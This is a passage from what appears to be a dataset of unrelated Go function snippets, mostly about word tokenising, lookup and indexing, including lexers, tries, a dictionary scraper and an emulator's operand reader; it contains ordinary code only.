int\n\tvar hasTrailingWhitespace bool\n\tfor {\n\t\tif i >= 1000 {\n\t\t\t// prevent against accidental infinite loop\n\t\t\tlog.Println(\"infinite loop in scanner.scanWord detected\")\n\t\t\tbreak\n\t\t}\n\t\ti++\n\t\tch := s.read()\n\t\tif ch == eof {\n\t\t\tbreak\n\t\t} else if isWhitespace(ch) {\n\t\t\thasTrailingWhitespace = true\n\t\t\ts.unread()\n\t\t\tbreak\n\t\t} else {\n\t\t\t_, _ = buf.WriteRune(ch)\n\t\t}\n\t}\n\n\tstringBuf := buf.String()\n\n\tif strings.HasPrefix(stringBuf, aliases.Search) {\n\t\treturn SEARCH_ALIAS, stringBuf[len(aliases.Search):], hasTrailingWhitespace\n\t}\n\n\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsRegion) {\n\t\treturn REGION_OVERRIDE, stringBuf[len(aliases.OverrideAwsRegion):], hasTrailingWhitespace\n\t}\n\n\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsProfile) {\n\t\treturn PROFILE_OVERRIDE, stringBuf[len(aliases.OverrideAwsProfile):], hasTrailingWhitespace\n\t}\n\n\tswitch stringBuf {\n\tcase \"OPEN_ALL\":\n\t\treturn OPEN_ALL, stringBuf, hasTrailingWhitespace\n\t}\n\n\treturn WORD, stringBuf, hasTrailingWhitespace\n}","func (self Linedata) get(field string) string {\n\tidx, ok := indexmap[field]\n\tif !ok {\n\t\tfmt.Printf(\"[ERROR] unable to find index for field: %s\\n\", field)\n\t\tfmt.Println(\"indexmap dump:\")\n\t\tfmt.Println(indexmap)\n\t\tos.Exit(1)\n\t}\n\n\treturn self[idx]\n}","func handleWord(w http.ResponseWriter, r *http.Request ) {\n\tfmt.Fprintf( w, \"

%s

\\n\", \"Endpoint for gopher Word translation\" )\n\n\tbody, readErr := ioutil.ReadAll(r.Body)\n\tif readErr != nil {\n\t\tfmt.Println(readErr)\n\t\treturn\n\t}\n\n\tword := Word{}\n\terr := json.Unmarshal(body, &word)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\tgoph, err := translateWord(word.Word)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\ttextBytes, err := json.Marshal(map[string]interface{}{\"gopher-word\": goph})\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgopherTranslated := string(textBytes)\n\tfmt.Println(gopherTranslated)\n\tfmt.Fprintf( w, \"

%s

\\n\",gopherTranslated )\n}","func LookupWordToken(w string) Token {\n\tif tt, ok := keywords[w]; ok {\n\t\treturn Token{\n\t\t\tType: tt,\n\t\t\tValue: w,\n\t\t}\n\t}\n\n\treturn Token{\n\t\tType: WORD,\n\t\tValue: w,\n\t}\n}","func (d *Decoder) LookupWord(word String) (string, bool) {\n\tphones := pocketsphinx.LookupWord(d.dec, word.S())\n\tif phones != nil {\n\t\treturn string(phones), true\n\t}\n\treturn \"\", false\n}","func (i Interval) Word() string {\n\treturn durationToWord(i)\n}","func WordAt(bytes []byte, pos int) Boundary {\n\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\n}","func FindWord(board Board, direction string, coord Coordinate) (Word, bool) {\n\tvar word Word\n\tx, y := coord.x, coord.y\n\tword.direction = direction\n\tword.Squares = append(word.Squares, board[x][y])\n\n\tswitch direction {\n\tcase \"horizontal\":\n\t\tfor i := y + 1; i < Size; i++ {\n\t\t\tif board[x][i].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[x][i])\n\t\t}\n\t\tfor i := y - 1; i > 0; i-- {\n\t\t\tif board[x][i].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[x][i])\n\t\t}\n\tcase \"vertical\":\n\t\tfor i := x + 1; i < Size; i++ {\n\t\t\tif board[i][y].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[i][y])\n\t\t}\n\t\tfor i := x - 1; i > 0; i-- {\n\t\t\tif board[i][y].IsEmpty() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tword.Squares = append(word.Squares, board[i][y])\n\t\t}\n\t}\n\n\t// Case of only having the single letter present\n\tif len(word.Squares) == 1 {\n\t\treturn word, false\n\t}\n\tsort.Sort(word)\n\treturn word, true\n}","func (app *Application) ScrapeWord(word string) (string, error) {\n\n\tword = strings.ReplaceAll(word, \" \", \"-\")\n\tvar wordTranslate = \"\"\n\tvar wordUrl = fmt.Sprintf(\"%s/%s\", app.Config.BaseUrl, word)\n\tres, err := http.Get(wordUrl)\n\tif err != nil || res.StatusCode != 200 {\n\t\tapp.Logger.Error(\"err to get the word\", zap.Error(err), zap.Any(\"word\", word), zap.Any(\"status_code\", res.StatusCode))\n\t\treturn \"\", err\n\t}\n\n\tdefer res.Body.Close()\n\n\t// Load the HTML document\n\tdoc, err := goquery.NewDocumentFromReader(res.Body)\n\tif err != nil {\n\t\tapp.Logger.Error(\"err on load html\", zap.Error(err), zap.Any(\"word\", word))\n\t\treturn \"\", err\n\t}\n\n\t// if user want the full html of the page\n\tif app.Config.DesireOutPut == \"full_html\" {\n\t\tfullPageMarkup, err := doc.Html()\n\t\tif err != nil {\n\t\t\tapp.Logger.Error(\"err on get full page markup\", zap.Error(err), zap.Any(\"wordUrl\", wordUrl))\n\t\t}\n\t\treturn fullPageMarkup, nil\n\t}\n\n\tdoc.Find(\".entry_content\").Each(func(i int, s *goquery.Selection) {\n\t\twordTranslate = s.Text()\n\n\t})\n\treturn wordTranslate, nil\n}","func (e *T) eraseWord() {\n\tif e.widx <= 0 {\n\t\treturn\n\t}\n\n\t// number of boundary transitions\n\tn := 2\n\n\te.widx--\n\tif isWordRune(rune(e.buf[e.widx])) {\n\t\tn--\n\t}\n\te.buf[e.widx] = 0\n\n\tfor e.widx > 0 {\n\t\te.widx--\n\t\tisword := isWordRune(rune(e.buf[e.widx]))\n\t\tif n == 2 && isword {\n\t\t\tn--\n\t\t} else if n == 1 && !isword {\n\t\t\te.widx++\n\t\t\tbreak\n\t\t}\n\t\te.buf[e.widx] = 0\n\t}\n}","func (ww *Writer) WriteWord(w string) (int, error) {\n\ttw, err := ww.writeWord(w)\n\tif err != nil {\n\t\treturn tw, err\n\t}\n\n\tnw, err := ww.flush()\n\ttw += nw\n\n\tif err != nil {\n\t\treturn tw, err\n\t}\n\n\t_, err = ww.lb.WriteRune(' ')\n\tww.remaining--\n\treturn tw, err\n}","func (c *Processor) readWord(ea uint16) (n uint16, opr string, err error) {\n\tmod := ea & 0x38 >> 3\n\treg := ea & 0x07\n\tswitch mod {\n\tdefault:\n\t\terr = errBadAddress\n\t\treturn\n\n\tcase 0x00: // data register\n\t\tn = uint16(c.D[reg])\n\t\topr = fmt.Sprintf(\"D%d\", reg)\n\n\tcase 0x01: // address register\n\t\tn = uint16(c.A[reg])\n\t\topr = fmt.Sprintf(\"A%d\", reg)\n\n\tcase 0x02: // memory address\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\topr = fmt.Sprintf(\"(A%d)\", reg)\n\n\tcase 0x03: // memory address with post-increment\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\tc.A[reg] += 2\n\t\topr = fmt.Sprintf(\"(A%d)+\", reg)\n\n\tcase 0x04: // memory address with pre-decrement\n\t\tc.A[reg] -= 2\n\t\tn, err = c.M.Word(int(c.A[reg]))\n\t\topr = fmt.Sprintf(\"-(A%d)\", reg)\n\n\tcase 0x05: // memory address with displacement\n\t\tvar d int16\n\t\td, err = c.M.Sword(int(c.PC))\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tc.PC += 2\n\t\taddr := int(c.A[reg]) + int(d)\n\t\tn, err = c.M.Word(addr)\n\t\topr = fmt.Sprintf(\"($%X,A%d)\", d, reg)\n\n\tcase 0x07: // other\n\t\tswitch reg {\n\t\tdefault:\n\t\t\terr = errBadAddress\n\t\t\treturn\n\n\t\tcase 0x00: // absolute word\n\t\t\tvar addr uint16\n\t\t\taddr, err = c.M.Word(int(c.PC))\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.PC += 2\n\t\t\tn, err = c.M.Word(int(addr))\n\t\t\topr = fmt.Sprintf(\"$%X\", addr)\n\n\t\tcase 0x01: // absolute long\n\t\t\tvar addr uint32\n\t\t\taddr, err = c.M.Long(int(c.PC))\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tc.PC += 4\n\t\t\tn, err = c.M.Word(int(addr))\n\t\t\topr = fmt.Sprintf(\"$%X\", addr)\n\n\t\tcase 0x04: // immediate word\n\t\t\tn, err = c.M.Word(int(c.PC))\n\t\t\tc.PC += 2\n\t\t\topr = fmt.Sprintf(\"#$%X\", wordToInt32(n))\n\t\t}\n\t}\n\treturn\n}","func (wordSearchSystemServer *WordSearchSystemServer) SearchWord(ctx context.Context, in *wordsearchsystemgrpc.SearchWordRequest) (*wordsearchsystemgrpc.SearchWordReply, error) {\n\tmatches := wordSearchSystemServer.wordSearchService.SearchWord(in.KeyWord)\n\treturn &wordsearchsystemgrpc.SearchWordReply{Matches: matches}, nil\n}","func ToWord() Tokeniser {\n\treturn createToWordTokeniser()\n}","func (m *RecurrencePattern) GetIndex()(*WeekIndex) {\n return m.index\n}","func (game *Game) CheckWord(word string) bool {\n\treturn game.Dictionary.Words[word]\n}","func (fr *Frame) ParseWord(s string) (T, string) {\n\t//- log.Printf(\"< ParseWord < %#v\\n\", s)\n\ti := 0\n\tn := len(s)\n\tbuf := bytes.NewBuffer(nil)\n\nLoop:\n\tfor i < n {\n\t\tc := s[i]\n\t\tswitch c {\n\t\tcase '[':\n\t\t\t// Mid-word, squares should return stringlike result.\n\t\t\tnewresult2, rest2 := fr.ParseSquare(s[i:])\n\t\t\tbuf.WriteString(newresult2.String())\n\t\t\ts = rest2\n\t\t\tn = len(s)\n\t\t\ti = 0\n\t\tcase ']':\n\t\t\tbreak Loop\n\t\tcase '$':\n\t\t\tnewresult3, rest3 := fr.ParseDollar(s[i:])\n\n\t\t\t// Special case, the entire word is dollar-substituted. \n\t\t\tif i == 0 && buf.Len() == 0 && (len(rest3) == 0 || WhiteOrSemi(rest3[0]) || rest3[0] == ']') {\n\t\t\t\treturn newresult3, rest3\n\t\t\t}\n\n\t\t\tbuf.WriteString(newresult3.String())\n\t\t\ts = rest3\n\t\t\tn = len(s)\n\t\t\ti = 0\n\t\tcase ' ', '\\t', '\\n', '\\r', ';':\n\t\t\tbreak Loop\n\t\tcase '\"':\n\t\t\tpanic(\"ParseWord: DoubleQuote inside word\")\n\t\tcase '\\\\':\n\t\t\tc, i = consumeBackslashEscaped(s, i)\n\t\t\tbuf.WriteByte(c)\n\t\tdefault:\n\t\t\tbuf.WriteByte(c)\n\t\t\ti++\n\t\t}\n\t}\n\t// result = MkString(buf.String())\n\t// rest = s[i:]\n\t//- log.Printf(\"> ParseWord > %#v > %q\\n\", result, rest)\n\treturn MkString(buf.String()), s[i:]\n}","func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}","func GetModelWord(dbConn *sql.DB, modelId int, langCode string) (*ModelWordMeta, error) {\r\n\r\n\t// select model name and digest by id\r\n\tmeta := &ModelWordMeta{}\r\n\r\n\terr := SelectFirst(dbConn,\r\n\t\t\"SELECT model_name, model_digest FROM model_dic WHERE model_id = \"+strconv.Itoa(modelId),\r\n\t\tfunc(row *sql.Row) error {\r\n\t\t\treturn row.Scan(&meta.ModelName, &meta.ModelDigest)\r\n\t\t})\r\n\tswitch {\r\n\tcase err == sql.ErrNoRows:\r\n\t\treturn nil, errors.New(\"model not found, invalid model id: \" + strconv.Itoa(modelId))\r\n\tcase err != nil:\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\t// make where clause parts:\r\n\t// WHERE M.model_id = 1234 AND L.lang_code = 'EN'\r\n\twhere := \" WHERE M.model_id = \" + strconv.Itoa(modelId)\r\n\tif langCode != \"\" {\r\n\t\twhere += \" AND L.lang_code = \" + ToQuoted(langCode)\r\n\t}\r\n\r\n\t// select db rows from model_word\r\n\terr = SelectRows(dbConn,\r\n\t\t\"SELECT\"+\r\n\t\t\t\" M.model_id, M.lang_id, L.lang_code, M.word_code, M.word_value\"+\r\n\t\t\t\" FROM model_word M\"+\r\n\t\t\t\" INNER JOIN lang_lst L ON (L.lang_id = M.lang_id)\"+\r\n\t\t\twhere+\r\n\t\t\t\" ORDER BY 1, 2, 4\",\r\n\t\tfunc(rows *sql.Rows) error {\r\n\r\n\t\t\tvar mId, lId int\r\n\t\t\tvar lCode, wCode, wVal string\r\n\t\t\tvar srcVal sql.NullString\r\n\t\t\tif err := rows.Scan(&mId, &lId, &lCode, &wCode, &srcVal); err != nil {\r\n\t\t\t\treturn err\r\n\t\t\t}\r\n\t\t\tif srcVal.Valid {\r\n\t\t\t\twVal = srcVal.String\r\n\t\t\t}\r\n\r\n\t\t\tfor k := range meta.ModelWord {\r\n\t\t\t\tif meta.ModelWord[k].LangCode == lCode {\r\n\t\t\t\t\tmeta.ModelWord[k].Words[wCode] = wVal // append word (code,value) to existing language\r\n\t\t\t\t\treturn nil\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t// no such language: append new language and append word (code,value) to that language\r\n\t\t\tidx := len(meta.ModelWord)\r\n\t\t\tmeta.ModelWord = append(\r\n\t\t\t\tmeta.ModelWord, modelLangWord{LangCode: lCode, Words: make(map[string]string)})\r\n\t\t\tmeta.ModelWord[idx].Words[wCode] = wVal\r\n\r\n\t\t\treturn nil\r\n\t\t})\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\treturn meta, nil\r\n}","func lexWord(l *reader) stateFn {\ntop:\n\tswitch r := l.next(); {\n\tcase isPunctuation(r):\n\t\tl.backup()\n\t\tl.emit(itemWord)\n\tdefault:\n\t\tgoto top\n\t}\n\treturn lexItem\n}","func (rf *Raft) getTermForIndex(index int) int {\n\tPanicIfF(index < rf.snapshotIndex, \"getTermForIndex: index to small: index=%d, snapshotIndex=%d\", index, rf.snapshotIndex)\n\tPanicIfF(index > rf.getLastIndex(), \"index > rf.getLastIndex()\")\n\n\tif index == rf.snapshotIndex {\n\t\treturn rf.snapshotTerm\n\t}\n\toffset := rf.getOffsetFromIndex(index)\n\tPanicIfF(offset >= len(rf.logs), \"offset{%d} >= len(rf.logs){%d}\", offset, len(rf.logs))\n\treturn rf.logs[offset].Term\n}","func (c *Client) SearchWord(word string) ([]string, error) {\n\ttrapdoors := c.indexer.ComputeTrapdoors(word)\n\tdocuments, err := c.searchCli.SearchWord(context.TODO(), trapdoors)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilenames := make([]string, len(documents))\n\tfor i, docID := range documents {\n\t\tpathname, err := docIDToPathname(docID, c.pathnameKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfilenames[i] = filepath.Join(c.directory, pathname)\n\t}\n\n\tsort.Strings(filenames)\n\treturn filenames, nil\n}","func Lookup(name string) string {\n\treturn index[name]\n}","func getTextByIndex(myText string) byte {\n\t//\n\tvar textIndex byte = myText[0]\n\treturn textIndex \n}","func (t *trs80) writeWord(w *scottpb.Word) {\n\tif w.Synonym {\n\t\tfmt.Fprintf(t.out, \"\\\"*%s\\\"\\n\", w.Word)\n\t} else {\n\t\tfmt.Fprintf(t.out, \"\\\"%s\\\"\\n\", w.Word)\n\t}\n}","func GetWordByDate(w http.ResponseWriter, r *http.Request) {\n\tword := scraper.ScrapeTodayWord(time.Now())\n\tServeJson(&w, r, word)\n}","func GetWordToday(w http.ResponseWriter, r *http.Request) {\n\tword := scraper.ScrapeTodayWord(time.Now())\n\tServeJson(&w, r, word)\n}","func (ss *SharedStrings) get(index int) *ml.StringItem {\n\tss.file.LoadIfRequired(ss.afterLoad)\n\n\tif index < len(ss.ml.StringItem) {\n\t\treturn ss.ml.StringItem[index]\n\t}\n\n\treturn nil\n}","func nextWord(current wncRow, userFrag, roomFrag qFrag) wncRow {\n\tsqlbuf := bytes.NewBufferString(\"SELECT word,next,count FROM blabberwords WHERE word=? \")\n\tparams := []interface{}{current.next}\n\n\tif !userFrag.empty {\n\t\tsqlbuf.WriteString(\" AND \")\n\t\tsqlbuf.WriteString(userFrag.sql)\n\t\tparams = append(params, userFrag.params...)\n\t}\n\n\tif !roomFrag.empty {\n\t\tsqlbuf.WriteString(\" AND \")\n\t\tsqlbuf.WriteString(roomFrag.sql)\n\t\tparams = append(params, roomFrag.params...)\n\t}\n\n\trows := getRows(sqlbuf.String(), params)\n\n\tif len(rows) == 0 {\n\t\tlog.Printf(\"blabber.nextWord got 0 rows, returning empty row\")\n\t\treturn wncRow{\"\", \"\", 0}\n\t}\n\n\tidx := rand.Intn(len(rows) - 1)\n\treturn rows[idx]\n}","func parseWord(data []byte) (word, rest []byte) {\n\tdata = skipSpaceOrComment(data)\n\n\t// Parse past leading word characters.\n\trest = data\n\tfor {\n\t\tr, size := utf8.DecodeRune(rest)\n\t\tif unicode.IsLetter(r) || '0' <= r && r <= '9' || r == '_' {\n\t\t\trest = rest[size:]\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\tword = data[:len(data)-len(rest)]\n\tif len(word) == 0 {\n\t\treturn nil, nil\n\t}\n\n\treturn word, rest\n}","func Wordmap(word string) {\n\n\tlistOfLines := reuse.ReadLineByLineFromFile(\"iq/text.dat\")\n\n\t// map of word\n\tmapW := make(map[string][]structLoc)\n\n\tfor i, line := range listOfLines {\n\n\t\tpattern := \"[\\\\/\\\\:\\\\,\\\\.\\\\s]+\"\n\t\tlistOfwords := reuse.Tokenize(line,pattern)\n\n\t\tfor _, word := range listOfwords {\n\t\t\tindices := reuse.GetColPos(line, word)\n\n\t\t\tif mapW[word] == nil {\n\t\t\t\tarrStructLoc := make([]structLoc, 0)\n\t\t\t\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\n\t\t\t\tmapW[word] = arrStructLoc\n\t\t\t} else {\n\t\t\t\tarrStructLoc := mapW[word]\n\t\t\t\tarrStructLoc = addToArrStructLoc(i, indices, arrStructLoc)\n\t\t\t\tmapW[word] = arrStructLoc\n\t\t\t}\n\t\t}\n\t}\n\tfmt.Println(mapW[word])\n}","func (f *Forth) compileWord(token string) error {\n\tw := word{func(f *Forth) error { return nil }, \"\"}\n\tf.dict[strings.ToLower(token)] = w\n\treturn nil\n}","func EvaluateWord(text string, matter string) (word model.Word) {\n\ttext = strings.ToLower(strings.Replace(text, \" \", \"\", -1))\n\tword.Length = len(text)\n\tword.Text = text\n\tword.Matter.Name = matter\n\treturn\n}","func GetHashTableIndex(word string) int {\n\tprimoRangeRX := regexp.MustCompile(\"^[a-i]{1}\")\n\tsecondoRangeRX := regexp.MustCompile(\"^[j-r]{1}\")\n\tterzoRangeRX := regexp.MustCompile(\"^[s-z]{1}\")\n\n\tswitch {\n\tcase primoRangeRX.MatchString(word):\n\t\treturn 0\n\tcase secondoRangeRX.MatchString(word):\n\t\treturn 1\n\tcase terzoRangeRX.MatchString(word):\n\t\treturn 2\n\t}\n\treturn -1\n}","func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t//Check if new word aready exists\n\tif _, ok := service.Synonyms[replacement.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\tfor i, existingWord := range *val {\n\n\t\t\tif existingWord.Word == word.Word {\n\t\t\t\t(*val)[i].Word = replacement.Word\n\t\t\t}\n\t\t}\n\t\tservice.Synonyms[replacement.Word] = val\n\t\tdelete(service.Synonyms, word.Word)\n\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n}","func (f *Faker) Word() string { return word(f.Rand) }","func TranslateWord(word string) (string, error) {\n\t// If no word is supplied, return an error\n\tif len(word) < 1 {\n\t\treturn \"\", fmt.Errorf(\"no word specified\")\n\t}\n\n\t// The word starts with a vowel letter\n\tif isLetterVowel(rune(word[0])) {\n\t\treturn \"g\" + word, nil\n\t}\n\n\t// The word starts with \"xr\"\n\tif len(word) > 2 && word[:2] == \"xr\" {\n\t\treturn \"ge\" + word, nil\n\t}\n\n\t// The word starts with a consonant letter, followed by \"qu\"\n\tif len(word) > 3 && isLetterConsonant(rune(word[0])) && word[1:3] == \"qu\" {\n\t\treturn word[3:] + word[:3] + \"ogo\", nil\n\t}\n\n\t// The word starts with a consonant sound\n\tif isLetterConsonant(rune(word[0])) && isLetterConsonant(rune(word[1])) {\n\t\tif len(word) == 2 {\n\t\t\treturn string(word[1]) + string(word[0]) + \"ogo\", nil\n\t\t}\n\n\t\tindex := findFirstVowelIndex(word)\n\n\t\treturn word[index:] + word[:index] + \"ogo\", nil\n\t}\n\n\treturn word, nil\n}","func (g *Goi18n) GetLangByIndex(index int) string {\n\tif index < 0 || index >= len(g.langs) {\n\t\treturn \"\"\n\t}\n\n\tg.mu.RLock()\n\tdefer g.mu.RUnlock()\n\treturn g.langs[index]\n}","func (l *SLexicon) GetSemantic(word string) string {\n\tl.Lock() // one at a time\n\tdefer l.Unlock()\n\n\tif val, ok := l.Semantic[word]; ok { // non case sensitive first\n\t\treturn val\n\t}\n\tlwrStr := strings.ToLower(word)\n\tstemmedWord := l.GetStem(lwrStr)\n\tif val, ok := l.Semantic[stemmedWord]; ok {\n\t\treturn val\n\t}\n\treturn \"\"\n}","func (st *SlimTrie) Get(key string) (eqVal interface{}, found bool) {\n\n\tvar word byte\n\tfound = false\n\teqID := int32(0)\n\n\t// string to 4-bit words\n\tlenWords := 2 * len(key)\n\n\tfor idx := -1; ; {\n\n\t\tbm, rank, hasInner := st.Children.GetWithRank(eqID)\n\t\tif !hasInner {\n\t\t\t// maybe a leaf\n\t\t\tbreak\n\t\t}\n\n\t\tstep, foundstep := st.Steps.Get(eqID)\n\t\tif foundstep {\n\t\t\tidx += int(step)\n\t\t} else {\n\t\t\tidx++\n\t\t}\n\n\t\tif lenWords < idx {\n\t\t\teqID = -1\n\t\t\tbreak\n\t\t}\n\n\t\tif lenWords == idx {\n\t\t\tbreak\n\t\t}\n\n\t\t// Get a 4-bit word from 8-bit words.\n\t\t// Use arithmetic to avoid branch missing.\n\t\tshift := 4 - (idx&1)*4\n\t\tword = ((key[idx>>1] >> uint(shift)) & 0x0f)\n\n\t\tbb := uint64(1) << word\n\t\tif bm&bb != 0 {\n\t\t\tchNum := bits.OnesCount64(bm & (bb - 1))\n\t\t\teqID = rank + 1 + int32(chNum)\n\t\t} else {\n\t\t\teqID = -1\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif eqID != -1 {\n\t\teqVal, found = st.Leaves.Get(eqID)\n\t}\n\n\treturn\n}","func getSword() int {\r\n var w int\r\n if fileDataPos >= len(fileData) {\r\n return 65536\r\n }\r\n w = int(fileData[fileDataPos])\r\n fileDataPos++\r\n w += (int(fileData[fileDataPos]) * 0x100)\r\n fileDataPos++\r\n if (w & 0x8000) != 0 {\r\n return -(32768 - (w & 0x7FFF))\r\n }\r\n return w\r\n}","func (w Word) WordString() string {\n\tphoneList := w.PhoneList()\n\tvar buffer bytes.Buffer\n\tvar phone Phone\n\n\tfor len(phoneList) > 0 {\n\t\tphone, phoneList = phoneList[0], phoneList[1:]\n\t\tbuffer.WriteString(string(phone.Char()))\n\t}\n\n\treturn buffer.String()\n}","func (self *T) mWORD() {\r\n \r\n \r\n\t\t_type := T_WORD\r\n\t\t_channel := antlr3rt.DEFAULT_TOKEN_CHANNEL\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:5: ( ( 'a' .. 'z' | 'A' .. 'Z' )+ )\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\r\n\t\t{\r\n\t\t// C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:10:7: ( 'a' .. 'z' | 'A' .. 'Z' )+\r\n\t\tcnt1 := 0\r\n\t\tloop1:\r\n\t\tfor {\r\n\t\t alt1 := 2\r\n\t\t LA1_0 := (*self.Input()).LA(1)\r\n\r\n\t\t if ( ((LA1_0 >= 'A' && LA1_0 <= 'Z')||(LA1_0 >= 'a' && LA1_0 <= 'z')) ) {\r\n\t\t alt1=1\r\n\t\t }\r\n\r\n\r\n\t\t switch (alt1) {\r\n\t\t\tcase 1 :\r\n\t\t\t // C:/dev/antlr.github/antlr/runtime/Go/antlr/test/T.g:\r\n\t\t\t {\r\n\t\t\t if ((*self.Input()).LA(1) >= 'A' && (*self.Input()).LA(1)<='Z')||((*self.Input()).LA(1) >= 'a' && (*self.Input()).LA(1)<='z') {\r\n\t\t\t (*self.Input()).Consume()\r\n\t\t\t } else {\r\n\t\t\t panic( &antlr3rt.MismatchedTokenException{} )\r\n\t\t\t }\r\n\r\n\r\n\t\t\t }\r\n\r\n\t\t \r\n\t\t\tdefault :\r\n\t\t\t if cnt1 >= 1 {\r\n\t\t\t break loop1;\r\n\t\t\t }\r\n\t\t panic( &antlr3rt.EarlyExitException{} )\r\n\t\t }\r\n\t\t cnt1++;\r\n\t\t}\r\n\r\n\r\n\t\t}\r\n\r\n\t\tself.State().SetType( _type )\r\n\t\tself.State().SetChannel( _channel )\r\n}","func searchWord(root *TrieNode, word string) map[int]bool {\n ret := make(map[int]bool)\n for i := len(word)-1; i>=0; i-- {\n if root.idx != -1 && isPalindrome(word[:i+1]) {\n ret[root.idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n return ret\n }\n root = root.nodes[offset]\n }\n for k, _ := range root.match {\n ret[k] = true\n }\n return ret\n}","func (this *WordDictionary) AddWord(word string) {\n \n}","func GenWord() string {\n\tcount := 1000\n\tresult := \"\"\n\tfor i := 0; i < count; i++ {\n\t\tresult += \" Hello world!....\\n\"\n\t}\n\n\treturn result\n}","func (t *Tokeniser) checkWord(word string) (int, bool) {\n\tcurrInput := t.Input[t.pos:]\n\tif !strings.HasPrefix(currInput, word) {\n\t\treturn 0, false\n\t}\n\treturn len(word), true\n}","func isWord(txt string, i, n int) bool {\n\tif i == 0 {\n\t\treturn !syntax.IsWordChar(rune(txt[n+1]))\n\t} else if n == len(txt)-1 {\n\t\treturn !syntax.IsWordChar(rune(txt[i-1]))\n\t}\n\treturn !syntax.IsWordChar(rune(txt[i-1])) && !syntax.IsWordChar(rune(txt[n+1]))\n}","func wordDetail(w http.ResponseWriter, r *http.Request) {\n\tif config.PasswordProtected() {\n\t\tctx := context.Background()\n\t\tsessionInfo := b.sessionEnforcer.EnforceValidSession(ctx, w, r)\n\t\tif !sessionInfo.Valid {\n\t\t\treturn\n\t\t}\n\t}\n\n\tlog.Printf(\"main.wordDetail path: %s\", r.URL.Path)\n\thwId, err := getHeadwordId(r.URL.Path)\n\tif err != nil {\n\t\tlog.Printf(\"main.wordDetail headword not found: %v\", err)\n\t\thttp.Error(w, \"Not found\", http.StatusNotFound)\n\t\treturn\n\t}\n\tif hw, ok := b.dict.HeadwordIds[hwId]; ok {\n\t\ttitle := b.webConfig.GetVarWithDefault(\"Title\", defTitle)\n\t\tmatch := b.webConfig.GetVar(\"NotesReMatch\")\n\t\treplace := b.webConfig.GetVar(\"NotesReplace\")\n\t\tprocessor := dictionary.NewNotesProcessor(match, replace)\n\t\tword := processor.Process(*hw)\n\t\tcontent := htmlContent{\n\t\t\tTitle: title,\n\t\t\tData: struct {\n\t\t\t\tWord dicttypes.Word\n\t\t\t}{\n\t\t\t\tWord: word,\n\t\t\t},\n\t\t}\n\t\tb.pageDisplayer.DisplayPage(w, \"word_detail.html\", content)\n\t\treturn\n\t}\n\n\tmsg := fmt.Sprintf(\"Not found: %d\", hwId)\n\thttp.Error(w, msg, http.StatusNotFound)\n}","func JumpWordBackward(b *novi.Buffer, c *novi.Cursor) (int, int) {\n\treturn JumpAlNumSepBackward(b, c, true)\n}","func (pma *PMA) MatchWord(input string) []Match {\n\treturn pma.Match([]rune(input))\n}","func (a *ALU) PopWord() uint16 {\n\tret := uint16(a.InternalRAM[a.StackPtr]) << 8\n\tret = ret | uint16(a.InternalRAM[a.StackPtr-1])\n\ta.StackPtr -= 2\n\treturn ret\n}","func Word() string { return word(globalFaker.Rand) }","func (d *babbleDictionary) GetWordList() []string {\n\treturn d.sourceList\n}","func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}","func newWord(vm *VM, sym string) cell {\n\treturn newCell(ptr(vm.getSymbolID(sym)), 0, WordType)\n}","func Getw(bm []uint64, i int32, w int32) uint64 {\n\ti *= w\n\treturn (bm[i>>6] >> uint(i&63)) & Mask[w]\n}","func getDword() int {\r\n var dw int\r\n \r\n dw = int(fileData[fileDataPos])\r\n dw += (int(fileData[fileDataPos+1]) * 0x100)\r\n dw += (int(fileData[fileDataPos+2]) * 0x10000)\r\n dw += (int(fileData[fileDataPos+3]) * 0x1000000)\r\n fileDataPos += 4\r\n return dw\r\n}","func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, 